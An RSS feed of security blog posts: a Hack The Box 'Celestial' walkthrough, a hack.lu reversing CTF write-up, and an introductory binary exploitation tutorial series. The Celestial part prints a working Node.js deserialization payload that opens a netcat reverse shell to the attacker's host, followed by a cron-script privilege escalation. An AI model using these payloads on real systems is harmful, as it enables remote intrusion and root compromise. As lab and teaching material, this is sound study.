RSS Security

šŸ”’
āŒ About FreshRSS
There are new articles available, click to refresh the page.
Before yesterdayCTF

Hack The Box: Celestial

26 August 2018 at 00:00

Today, we are going to do Celestial of Hack the Box.

Enumeration & Exploitation

First, we perform an initial nmap scan to find open ports.

# Nmap 7.70 scan initiated Mon Jul 23 06:58:10 2018 as: nmap -sV -sC -oA init 10.10.10.85
Nmap scan report for 10.10.10.85
Host is up (0.023s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 23 06:58:38 2018 -- 1 IP address (1 host up) scanned in 28.13 seconds

If we visit the page we are confronted with a 404 error page. But if we reload the page we can see a page with content: Hey Dummy 2 + 2 is 22.

Letā€™s take a closer look:

  • First open Burp Suite and configure your browser of choice to use 8080 as a proxy
  • Turn on intercept
  • Visit the website with cleared cache and cookies

We can see that on the first visit a cookie is set:

Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/;

The profile cookie looks very interesting because of the ending == which is almost always an indicator for base64 encoding. Now decode it as base64 and youā€™ll get a JSON object:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

If you remember the content of the page of our second visit (after the cookie is set), we can guess that the num field could be the value that is used for the ā€˜computationā€™ shown above. Next, we can change the num field and insert another value like 3 which changes the output. Obviously, the JSON object is again base64 encoded and replaced in the HTTP header with the burp repeater.

Hey Dummy 3 + 3 is 33

Letā€™s send some special characters to the application (e.g. 3'>)

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected string<br> &nbsp; &nbsp;at /home/sun/server.js:13:29<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/home/sun/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /home/sun/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/home/sun/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)</pre>
</body>
</html>

Ok, we get a syntax error which means our input is parsed. Moreover, we have leaked some internal paths of the target.

Furthermore, we can do some research about nodejs exploitation which will lead to the exploitation of a unserialize function. If we dig deeper, we can execute a command like this [External Tutorial]:

First we open a netcat listener on our machine with nc -lvvp 1234 and then we can execute a command with

{"username":"Admin","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"_$$ND_FUNC$$_function (){\nexec=require('child_process').exec;\nexec('echo 1234 | nc 10.10.15.XX 1234');\nreturn 1\n}()"}

If it was successful, we can change our command to something more useful:

{"username":"Admin","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"_$$ND_FUNC$$_function (){\nexec=require('child_process').exec;\nexec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.XX 1234 >/tmp/f');\nreturn 1\n}()"}

Yes, got a shell!

nc -lvvp 1234
listening on [any] 1234 ...
10.10.10.85: inverse host lookup failed: Unknown host
connect to [10.10.14.232] from (UNKNOWN) [10.10.10.85] 41274
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

If we look at server.js in the home directory of the user, we can find the unserialize function and an eval expression which will execute our commands:

//...
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
//...
var sum = eval(obj.num + obj.num);
res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
//...

Privilege Escalation

Besides the user.txt, which contains the flag of the user account, we see a script called script.py with one line of python code print "Script is running...". If we take a look at the home directory we can find a root-owned file called output.txt which contains the string printed by the script above.

So, we can guess that the root user periodically executes the script of the user sun. Therefore, we can easily modify script.py to get a shell or simply leak the root.txt

Replace the content of script.py with our python code:

with open('/root/root.txt', 'rb') as f:
  print f.read()

After a few minutes, we can read the output.txt and we get the root flag.

Important: Please put the original code in script.py and remove the content of output.txt to avoid spoilers.


Happy Hacking! =)

Hack.lu 2018: Baby Reverse

19 October 2018 at 00:00

Baby reverse was a beginner reversing challenge of this yearā€™s hack.lu CTF. It was a great beginner challenge for people who are new to reversing at all.

A really cool fact was that the challenge author provided some basic ā€œtodoā€ list to solve the challenge.

Hey there, future Reverser!

We created this small challenge to introduce you to reverse engineering. This task might _still_ take quite some time, but trust us, it will be very rewarding!
We sadly can't spoonfeed you, but we created a set of questions that you might want to answer yourself. We expect you to google on your own and find resources.

Sooo, lets get started!

- What kind of binary have you got infront of you? (Hint: "file" command)
- How can you disassemble the file? (objdump, gdb, radare...)
- Which programs are common debuggers?
- How can I use them? (we recommend gdb with the peda plugin)
- - how can I set breakpoints?
- - in which different ways can I step through programs?
- - how can I print/examine the content of memory/addresses
- what is inside registers? what's rax, rip, rsp?
- what is the linux syscall convention?
- - In which register is the second argument?
- - In which register is the syscall number?
- - - where can I find the syscall numbers on my own linux system?
- what happens at a call instruction?
- how can I compare strings in assembly?
- .. ask your teammates for more! annoy them if anything is unclear :P
- .. if you don't got any teammates, use IRC and say that it's about the baby challenge

There is a lot of work ahead of you, and maybe some sleepless nights with a lot of googling - but it will be worth it;-)!
We are certain that with a dedicated mind you can solve this task and from there on you'll be ready for a bright future!
Don't give up, we all have been there. Stick to it and you'll be rewarded =)

Therefore, a beginner could just follow the notes and try to figure out what the program does.

Analysis of the Program

The first command we use is file to find out which architecture the binary supports.

file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

We have a 64-bit binary and for that reason, we have 64-bit registers and we have to use registers for function calls. Next, we run the binary to see what it does. This is a very important step to get a general overview of a challenge.

./chall
Welcome to this Chall!
Enter the Key to win: AAAA

Okay, we can enter some data and then the program exits.

Letā€™s open the challenge in gdb. In my case, I will use GEF as a gdb plugin instead of peda as recommended by the todo list.

gdb ./chall
gef> start          # runs until the program is loaded

Further, we can step through the program with si (step into) to execute each instruction and have the ability to follow function calls. If we donā€™t want to follow function calls, we could use ni (not into). While stepping through the program, we can observe, that at some point the instructions are repeating. That means, that we have entered a loop and since the loop contains an XOR instruction, we can guess, that this is some sort of ā€œencodingā€ algorithm.

Letā€™s restart the program and find out where our input is stored. If we step through the code, we can observe two syscalls at the beginning. The first syscall prints the message Welcome to this Chall!. We can find the syscall number in the rax register and look the syscall number up (SyscallTable64Bit).

First syscall:
rax = 1 -> write
rsi = 0x4000d7  ā†’ "Welcome to this Chall! \nEnter the Key to win:"
It prints the message we saw earlier.

Second syscall:
rax = 0 -> read
rsi = 0x4000d7  ā†’ "Welcome to this Chall! \nEnter the Key to win:"
This means that we read (from stdin) to our buffer at rsi. So basically, we write new data in the message buffer.

Afterward, we enter the following loop:

0x400098                  movzx  rdi, BYTE PTR [rsi+0x1]
0x40009d                  xor    QWORD PTR [rsi], rdi
0x4000a0                  inc    rsi
0x4000a3                  dec    rdx
0x4000a6                  jne    0x400098

The loop iterates over our message buffer (with our input) and XORs the current indexed character with the next one in the buffer and writes the result to the currently indexed character. Let the buffer be ABCD.
The algorithm will perform the following operations:

A = 0x41
B = 0x42
C = 0x43
D = 0x44
buffer = {0x41, 0x42, 0x43, 0x44}
i = index (incremented by the algorithm)
buffer[i] = buffer[i] ^ buffer[i+1] ( = 0x41^0x42 = 0x03 )
i = i + 1
buffer[i] = buffer[i] ^ buffer[i+1] ( = 0x42^0x43 = 0x01 )
...

Further, we can observe a loop index (rdx) which is decremented in each iteration. If rdx becomes zero, the loop exits at jne 0x400098

After the loop ends we can see a comparison between two buffers repz cmps BYTE PTR ds:[rsi], BYTE PTR es:[rdi]. If we recall the algorithm, we know that our buffer is referenced by rsi and therefore rdi should be another buffer. Since these two buffers should be equal we can guess that this buffer contains the ā€œencodedā€ flag.

Developing a Solution

To solve this problem, we first step in gdb until the comparison and copy the content of the other buffer.

 gefāž¤  x/10gx $rdi
 0x40010c:    0x261838221c060d0a    0x2c42591c2b390f36
 0x40011c:    0x392d171c262c1a36    0x0709382b07014357
 0x40012c:    0x392d17131317011a    0x2e007d5c46060d0a
 0x40013c:    0x6261747274736873    0x0000747865742e00
 0x40014c:    0x0000000000000000    0x0000000000000000

Next, we have to reverse the hex data because itā€™s stored as little-endian. Here is a really quick and dirty algorithm that does the reversing of the string and also concatenates the parts to one string. (There is certainly a better solution e.g. print the data in gdb with the right format)

import string

str1 = "261838221c060d0a"     
str2 = "2c42591c2b390f36"
str3 = "392d171c262c1a36"
str4 = "0709382b07014357"
str5 = "392d17131317011a"
str6 = "2e007d5c46060d0a"
str7 = "6261747274736873"
str8 = "0000747865742e00"

list = [str1, str2, str3, str4, str5, str6, str7, str8]
goal = ""

for i in range(0, 8): # loops through the list of the giant words dump
    for n in range(len(list[i]),0, -2): # iterate through the string backwards / reverse the string
            goal += list[i][n-2:n]

print(goal)

Next, we want to reverse the XOR operation. Since we know that the flag might start with ā€œflagā€ we have some known plaintext. In our case 1 byte/character is enough to reverse the XOR operation. Let the first character be p[0] = ā€˜fā€™ and the first ciphertext character be 0x0a we can get the next plaintext p[1] with chr(0x0a^ord('f')) = 'l'. To get the whole flag we just have to repeat the XOR operation on p[i] and c[i] to get p[i+1].

plain = "fl" # known plaintext 'flag'
counter = 1
goal = goal.decode("hex")
for char in goal[1:]:
     plain += chr(ord(char) ^ ord(plain[counter]))
     counter += 1
print plain
# flag{Yay_if_th1s_is_yer_f1rst_gnisrever_flag!}...non printables

Thatā€™s it.

Binary Exploitation Series (1): Environment Setup

8 November 2018 at 00:00

Foreword

This series will cover some basic exploitation techniques on Linux systems (x64) which are getting more advanced during the series. The main focus will be on bypassing protection mechanisms of modern systems like ASLR, non-executable stack, Stack Cookies and position-independent code. Each technical topic will be hands-on and I will provide an example to try it yourself and follow along.

Overview

The following table shows some topics I will write about and it might be updated over time.

Chapter Topic Active Protections
1 Environment Setup -
2 Bug Classes -
3 Your first Exploit ASLR
4 Return 2 Libc ASLR, NX
5 How to leak data? Mixed
6 Defeating Stack Cookies ASLR, NX, Stack Cookies
7 Full RelRO Bypass ASLR, NX, Stack Cookies, Full RelRO

Introduction

Todayā€™s post will cover a basic setup for a virtual environment to do some pwnable challenges. This is not the only setup and a lot of people will have better or other tools in their collection. But for me, it is a good base for most of the pwnables I do.

Disclaimer: Iā€™m not a professional and therefore, some things could be wrong or could be done better. But letā€™s hope it is good enough! ;-)

Base System

As a host system, you can use whatever you want. Windows, Linux, MacOS or something else will do the work.

Virtual Machines

Virtual machines are the best way to have a running system that can be compromised and later be restored to an earlier state. Therefore, I would recommend to not run the vulnerable code on your main systems and build your virtual environment where you can safely run vulnerable code. Moreover, it is very convenient to roll back your system in case of a bad behavior of some of the executables or if the system is damaged in a way.

Virtualization Software:

  • VMWare Workstation (Pro), most students get a free copy
  • VirtualBox, free and open-source
  • Hyper-V, comes with Win10-Pro
  • ā€¦

OS Choice

Since most of the challenges are for Linux based systems, I would recommend to set up your custom virtual environment with a vanilla Linux like Ubuntu.

Tools

Tools are an essential part of your pwn-environment because you will need some! In the following, I will describe some useful tools which I often use.

ipython

A good interactive python shell with tab completion and highlighting.

gdb

Debugging in Linux is done with gdb and I will not cover each command here because there are many tutorials available.

gdb-Plugin: GEF

GEF is a great plugin for gdb which extends the debugging functionalities. Other plugins almost do the same as pwndbg and PEDA. Iā€™ve decided that GEF is the right choice for me but feel free to try each one yourself.
Some important commands weā€™ll use quite often:

  • Print memory
    eXamine memory: x/FMT ADDRESS.
    Example: x/10gx $rsp
    This command will print 10 times a 8 byte value (g = giant word - 8 byte, w = word - 4 byte), starting from the address in rsp.
    More information at gdb Manuals

  • set follow-fork-mode child
    gdb follows a fork to debug the child process. It is essential for debugging a socket server which forks its process on each connection.
    Command: set follow-fork-mode child

  • search-pattern
    Easily find strings or your payload in the programs memory.
    Command: search-pattern 'AAAAAAA'`

  • vmmap
    Display a comprehensive layout of the virtual memory mapping.

More information at GEF-Docs.

strace / ltrace

For a basic overview of the binary, you can use strace and ltrace. strace is a program to trace system calls and show all received signals of a given binary. ltrace does the same just with library calls. (e.g. read(..), fgets(ā€¦))

Both tools are also great for reversing challenges because sometimes you might see some plaintext strings in function calls.

Pwntools

Pwntools is a great collection of tools/functions packed into a library for python. It is designed for rapid prototyping (which I can confirm) and it makes your exploit development for different tasks a lot easier.
A basic script could look like this:

from pwntools import *

r = process("./challenge")
r.sendline("Hello")
print r.recvline()
r.interactive()

A big advantage of this plugin is that the communication with processes, network sockets or other protocols like ssh uses the same interface. Therefore, you can easily develop your exploit against a local target with r = process("challenge") and later change one line to exploit the remote service r = remote("192.168.1.42", 1337).

Binary Ninja

Binary Ninja is a really great and especially affordable reverse engineering tool. It comes with a good disassembler, medium level and low-level intermediate languages and a great python API interface to develop your plugins for binary ninja.
Further, you have some useful plugins already available at Binary Ninja Community Plugins.

Radare2

Radare2 is also a great tool for reversing but it is kind of hard to begin with since it is a command-line tool. radare2

IDA Free

Another possible disassembler would be IDA free. Since this is a demo version the functionalities are a little bit restricted. But for a beginner, it is enough. IDA Free.

ROPgadget / Ropper

ROPgagdet looks for gadgets in a binary to build a ROP chain and it supports different architectures and file formats.
Ropper does almost the same.

One Gadget

One Gagdet allows you to spawn a shell with execve('/bin/sh', NULL, NULL) via libc in one shot! Therefore, you only need to leak the libc base address in the targetā€™s memory and redirect code execution to the gadget.

Libc Database

Libc Database builds a database of libc offsets to identify used libc on the target machine. You have to be able to leak some libc pointers (e.g. via read primitive and GOT (Global Offset Table) addresses). A web-based variant is available at blukat.me.


Thatā€™s all for the first post.

See you soon.

Binary Exploitation Series (2): Bug Classes

15 November 2018 at 00:00

This post gives a brief overview of some bug classes, but it will not cover everything in detail. Iā€™ll provide some additional resources for bug classes which Iā€™m not covering in this series.

How to find vulnerabilities?

There are two essential ways to identify vulnerabilities in software. Fuzzing and static/dynamic code analysis. While fuzzing is a more ā€œaggressiveā€ way of spamming different test cases against the program, an audit is a more focused task. In CTFā€™s I prefer the manual analysis of the target because most of the time bugs are somewhat hidden and you can find a magic value easier with a disassembler instead of random inputs as test cases.

Bug Classes

There are many different possible attack vectors in todayā€™s native binaries. I wonā€™t cover all of them but to give you an idea, here is a small list:

  • Stack Buffer Overflows
  • Heap Buffer Overflows
  • Format String Attacks
  • Use After Free (UAF)
  • Information Leaks (e.g. Format String Attacks, Off by One)
  • Logic Flaws
  • ā€¦

Stack Based Buffer Overflows

Stack-based buffer overflows are (often) a simple way to get code execution on the target. The best way to explain such an attack is with an example, like always. ;-)
The following function is treated as 32-bit (architecture).

void vuln_function(char *input) {
    char local_buffer[32];
    strcpy(local_buffer, input);
}

The main idea of a buffer overflow is that we can write out of bounds of a variable e.g. an array. This means, that we can fill a buffer on the stack (here 32 bytes) with more data than it can store.

In the following figure, we see the stack of the above function. ESP is the stack pointer and EBP is the base pointer.

If we have ā€œAAAA\0ā€ as an input, the stack is as follows:

If we put more data than the buffer can hold (e.g. "A"*32 + "B"*4 + "C"*4) we can overwrite the saved base pointer and the return address of the function.

As soon as we return from the function (ret) the Cā€™s will be used as the next instruction pointer and we get a SEGFAULT. Therefore, we know that something is corrupted and we may have control of the execution flow (without protections enabled, see later chapters). Important to note, that you could overwrite other variables too. That means, that perhaps you do not need to overwrite the return address because overwriting a specific variable on the stack is enough to achieve your goal.

Heap Exploitation

Heap-based buffer overflows are in general the same as stack-based buffer overflows, but you are overflowing a buffer on the heap. Therefore, you cannot directly overwrite e.g. a return address but rather have to figure out how the application works. Then you can manipulate other variables like pointer to strings (youā€™ll maybe get a write/read primitive), heap metadata and even function pointers on the heap (e.g. a struct which has pointers to other functions) to get control over the execution flow.
I can recommend How2Heap which covers a lot of heap exploitation techniques.

Format String Attacks

Format strings can be used in a few functions like printf.

char *name = "MyName";
int age = 34;
printf("%s is %d years old.", name, age);

In this example, we have a format string (arg1) and we replace the %s with the content of the second argument name and the %d formatter with the value of age. The vulnerability occurs if we let the user manipulate or even set the format string.
For example:

char buf[30];
int count = read(0, buf, 29);
buf[count] = '\0';
printf(buf); // buffer could contain formatter -> %x %s %c ...

When we put the string %x%x%x as a buffer for printf we can leak data of the stack. We can also read arbitrary addresses and also write to arbitrary addresses in memory. You can read more about this type of exploitation at Format String Attacks syr.edu or watch a video of LiveOverflow
Look out for functions like: printf, sprintf, vprintf, vsprintf, ā€¦.


Thatā€™s it for today. Next time, weā€™ll finally exploit our first target!

See you soon.

Binary Exploitation Series (3): Your first Exploit

16 November 2018 at 00:00

Our first target is a really simple binary where we have basic ASLR enabled (only Heap and Stack are randomized). For this example, we will disable other protections like non-executable memory regions or PIE to make our stack overflow easier.

Target

The following code snippet is a simple C program that reads 200 bytes from stdin to a buffer which has only a size of 16 bytes. Therefore, we can write out of bounds. We compile the target with an executable stack and no other protections. Note, that ASLR is enabled because this is on todayā€™s operation systems most of the time the case.

#include <stdio.h>
#include <stdlib.h>

//gcc -m64 -o chapter_3 chapter_3.c -no-pie -fno-stack-protector -z execstack -masm=intel
// help function to make this task easier, ignore it
void help() {
    asm("jmp rsp");
}

int main(int argc, char **argv) {
    char buffer[16];                   // 16 byte buffer
    fgets(buffer, 200, stdin);         // bug, we'll read 200 bytes into a 16 byte buffer
    return 0;                          // triggers return / return address is overflowed
}

Analysis

First, we load the binary into gdb.

gdb -q ./chapter_3
Reading symbols from ./chapter_3...(no debugging symbols found)...done.
gefāž¤  checksec # to check if there are any protections
[+] checksec for '/BinaryExploitationSeries/Chapter 3/chapter_3'
Canary                        : No
NX                            : No
PIE                           : No
Fortify                       : No
RelRO                         : Partial
gefāž¤  disassemble main
Dump of assembler code for function main:
   0x0000000000400527 <+0>:     push   rbp
   0x0000000000400528 <+1>:     mov    rbp,rsp
   0x000000000040052b <+4>:     sub    rsp,0x20
   0x000000000040052f <+8>:     mov    DWORD PTR [rbp-0x14],edi # arg1 argc
   0x0000000000400532 <+11>:    mov    QWORD PTR [rbp-0x20],rsi # arg2 argv
   0x0000000000400536 <+15>:    mov    rdx,QWORD PTR [rip+0x200af3]        # 0x601030 <[email protected]@GLIBC_2.2.5>
   0x000000000040053d <+22>:    lea    rax,[rbp-0x10] # buffer
   0x0000000000400541 <+26>:    mov    esi,0xc8 # count = 200
   0x0000000000400546 <+31>:    mov    rdi,rax
   0x0000000000400549 <+34>:    call   0x400430 <[email protected]>
   0x000000000040054e <+39>:    mov    eax,0x0 # return value = 0
   0x0000000000400553 <+44>:    leave  
   0x0000000000400554 <+45>:    ret    
End of assembler dump.

We can see at main+22 that our buffer is stored at rbp+0x10 and is used as an argument for fgets. Letā€™s try to overflow the buffer. For the payload generation we will use ipython.

Payload in ipython:
In [1]: "A"*16+"B"*8+"C"*8
Out[1]: 'AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC' # our payload
gefāž¤  run
Starting program: /BinaryExploitationSeries/Chapter 3/chapter_3
AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC # our payload
...
[#0] Id 1, Name: "chapter_3", stopped, reason: SIGSEGV # binary crashed

gefāž¤  x/gx $rbp
0x4242424242424242 # rbp is overwritten with B's

gefāž¤  x/gx $rsp # show a giant word (64-bit value) at $rsp (stack pointer)
0x7fffffffddb8:    0x4343434343434343
# binary tried to return to 8x C's which is forbidden since 64-bit Intel architecture only uses the first
# 6 bytes to address an instruction. (0x0000414141414141)

Letā€™s change the return address to a valid value.

Payload: AAAAAAAAAAAAAAAABBBBBBBBCCCCC # we only send 5x C's because we have a newline (0x0a) at the end
# we can get rid of the newline if we directly use python or pipe from a file

[#0] Id 1, Name: "chapter_3", stopped, reason: SIGSEGV
ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€[ trace ]ā”€ā”€ā”€ā”€
ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€
0x00000a4343434343 in ?? ()

# Now we have redirected execution to 0xa4343434343 which is an invalid address.
# We can verify the redirection with
gefāž¤  x/gx $rip
0xa4343434343

For the next steps, we put a breakpoint on the return instruction of the main to see our stack layout before returning.

b *main+45

Additionally, we provide some more data on the stack to have a better understanding of the data in the registers and on the stack.

New Payload: "A"*16+"B"*8+"C"*8+"D"*100

$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x4444444444444444 ("DDDDDDDD"?)
$rdx   : 0x7ffff7dd18d0      ā†’  0x0000000000000000
$rsp   : 0x7fffffffddb8      ā†’  "CCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
$rbp   : 0x4242424242424242 ("BBBBBBBB"?)
$rsi   : 0x7fffffffdda0      ā†’  "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDD[...]"
$rdi   : 0x7fffffffde25      ā†’  0x0000000000000000
$rip   : 0x40055d            ā†’  <main+45> ret
$r8    : 0x6022e5            ā†’  0x0000000000000000
$r9    : 0x4444444444444444 ("DDDDDDDD"?)
$r10   : 0x4444444444444444 ("DDDDDDDD"?)
$r11   : 0x4444444444444444 ("DDDDDDDD"?)
$r12   : 0x400440            ā†’  <_start+0> xor ebp, ebp
$r13   : 0x7fffffffde90      ā†’  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$gs: 0x0000  $ss: 0x002b  $cs: 0x0033  $es: 0x0000  $fs: 0x0000  $ds: 0x0000  
ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€[ stack ]ā”€ā”€ā”€ā”€
0x00007fffffffddb8ā”‚+0x00: "CCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"     ā† $rsp
0x00007fffffffddc0ā”‚+0x08: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddc8ā”‚+0x10: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddd0ā”‚+0x18: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddd8ā”‚+0x20: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffdde0ā”‚+0x28: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffdde8ā”‚+0x30: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddf0ā”‚+0x38: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€[ code:i386:x86-64 ]ā”€ā”€ā”€ā”€
     0x400552 <main+34>        call   0x400430 <[email protected]>
     0x400557 <main+39>        mov    eax, 0x0
     0x40055c <main+44>        leave  
 ā†’   0x40055d <main+45>        ret    
[!] Cannot disassemble from $PC
